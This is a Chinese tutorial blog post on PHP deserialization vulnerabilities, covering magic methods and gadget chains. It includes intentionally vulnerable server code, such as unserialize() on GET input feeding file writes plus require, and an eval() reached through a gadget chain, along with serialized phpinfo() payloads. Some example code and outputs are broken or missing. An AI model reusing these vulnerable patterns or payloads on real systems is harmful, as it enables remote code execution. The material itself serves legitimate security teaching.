PHP反序列化漏洞与防御

0x01 概述

什么是php反序列化漏洞呢?简单的来说,就是在php反序列化的时候,反序列化的内容是用户可控,那么恶意用户就可以构造特定序列化内容的代码,通过unserialize()函数进行特定的反序列化操作,并且程序的某处存在一些敏感操作是写在类中的,那么就可以通过这段恶意代码,达到执行攻击者想要的操作。

在了解php反序列化漏洞之前,需要了解一下php序列化和反序列化的相关知识。

0x02 PHP序列化与反序列化

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test{
public $var = "This is a test";

public function PrintVar(){
echo this -> $var;
}
}

$obj = new Test();
$obj->PrintVar();
?>

运行后

magic 函数

php面向对象变成中,有一类函数叫做magic function,魔术函数,这些函数是以(双下划线)开头的,他们是一些当依照某些规则实例化类或者调用某些函数的时候会自动调用这些magic函数,这里说一下比较常见的例如construct,destory, sleep,wakeup,toString函数。

  1. __construct()

    __contstruct()函数被称为构造函数,当实例化类的时候会自动调用该函数
    
  2. __destruct()

    __destruct()函数被称为析构函数,当类结束的时候自动调用该函数
    
  3. __sleep()

    __sleep()函数是当php进行序列化操作(serialize)的时候自动调用该函数,可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
    
  4. __wakeup()

    __wakeup()函数是当php进行反序列化操作(unserialize)的时候自动调用该函数
    
  5. __toString()

    __toString()函数是当对象被当做字符串的时候会自动调用该函数
    

例如:

运行后结果:

私有成员与被保护成员变量的特殊性
当类中的成员变量是私有的或者被保护的,那么会产生一些特殊的情况

运行结果:

我们可以看到,在序列化后得到的序列化代码中,私有成员变量name前加了一个User,被保护变量成员age的前面加了一个,并且明明Username长度为8,但是却显示的是10;同样,明明age的长度为4,但却显示的是6。
查阅php手册发现,当成员变量是私有的时候,会在成员变量前面添加类名;当成员变量是被保护的时候,会在被保护成员前面添加一个,并且,所添加的类名或者的左右两边都会有一个null字节,因此,这两个长度都增加了2。

##0x03 PHP反序列化漏洞

  1. wakeup()或destruct()的利用场景

假设服务器的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
class Test{
var $test = "123";
function __wakeup(){
$fp = fopen("test.php", 'w');
fwrite($fp, $this -> test);
fclose($fp);
}
}

$test1 = $_GET['test'];
print_r($test1);
echo "<br />";
$seri = unserialize($test1);

require "test.php";

?>

我们可以在本地搭建环境,编写exp之后用serialize函数进行序列化,得到payload,如:

1
O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}

  1. 其他Magic Function情况

当unserialize的时候不是直接在wakup魔术方法中利用,比如在construct之类的,也是有利用价值的。譬如,当wakup中又调用了别的对象,那么我们就可以进行回溯去找,也许也可以利用到。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
class Test1{
function __construct($test){
$fp = fopen("shell.php", "w");
fwrite($fp, $test);
fclose($fp);
}
}

class Test2{
var $test = "123";
function __wakeup(){
$obj = new Test1($this -> test);
}
}

$test = $_GET['test'];
unserialize($test);

require "shell.php";
?>

  1. 普通情况

当危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时可以寻找相同的函数名,把敏感函数和类联系在一起。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
class Test1{
var $test1;
function __construct(){
$this->test1 = new Test2();
}

function __destruct(){
$this->test1->action();
}
}

class Test2{
function action(){
echo "Test2";
}
}

class Test3{
var $test3;
function action(){
eval($this->test3);
}
}

$test = new Test1();
unserialize($_GET['test']);
?>

这里我们可以利用Test3中的action函数中的eval函数做一些事情。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Test1{
var $test1;
function __construct(){
$this->test1 = new Test3();
}

function __destruct(){
$this->test1->action();
}
}

class Test3{
var $test3 = "phpinfo();";
}

echo serialize(new Test1());

得到 O:5:”Test1”:1:{s:5:”test1”;O:5:”Test3”:1:{s:5:”test3”;s:10:”phpinfo();”;}}

##0x04 参考文献

https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

本文标题:PHP反序列化漏洞与防御

文章作者:Pino-HD

发布时间:2018年05月30日 - 22:05

最后更新:2018年05月30日 - 22:05

原始链接:https://pino-hd.github.io/2018/05/30/PHP反序列化漏洞与防御/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!